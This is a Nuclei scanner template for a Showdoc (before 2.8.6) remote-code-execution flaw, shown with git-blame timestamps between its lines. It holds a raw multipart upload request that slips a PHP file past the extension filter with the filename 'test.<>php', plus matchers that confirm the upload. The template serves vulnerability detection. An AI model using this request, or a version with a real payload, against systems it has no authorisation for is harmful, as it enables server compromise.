nuclei-templates/vulnerabilities/other/showdoc-file-upload-rce.yaml

50 lines
1.2 KiB
YAML
Raw Normal View History

2021-04-21 19:34:21 +00:00
id: showdoc-file-upload-rce
2021-07-17 17:32:43 +00:00
2021-04-21 19:34:21 +00:00
info:
name: Showdoc <2.8.6 - Remote Code Execution
2021-04-21 19:34:21 +00:00
author: pikpikcu
severity: critical
2022-05-31 09:08:36 +00:00
description: |
Showdoc versions before 2.8.6 is susceptible to remote code execution.
reference:
- https://github.com/star7th/showdoc/pull/1059
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cwe-id: CWE-77
2022-05-31 09:08:36 +00:00
tags: rce,fileupload,showdoc,oss,intrusive
2021-04-21 19:34:21 +00:00
requests:
- raw:
- |
POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=--------------------------835846770881083140190633
----------------------------835846770881083140190633
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain
2021-07-17 17:32:43 +00:00
<?php echo md5('rce_test');?>
2021-04-21 19:34:21 +00:00
----------------------------835846770881083140190633--
2021-07-17 17:32:43 +00:00
matchers-condition: and
2021-04-21 19:34:21 +00:00
matchers:
2021-07-17 17:32:43 +00:00
- type: word
2022-05-31 09:08:36 +00:00
part: body
2021-07-17 17:32:43 +00:00
words:
2021-08-19 18:04:16 +00:00
- '"url":"http:'
- '"success":1'
condition: and
2021-07-17 17:32:43 +00:00
- type: status
status:
2021-08-19 18:04:16 +00:00
- 200
extractors:
- type: json
json:
- '.url'
# Enhanced by mp on 2022/05/30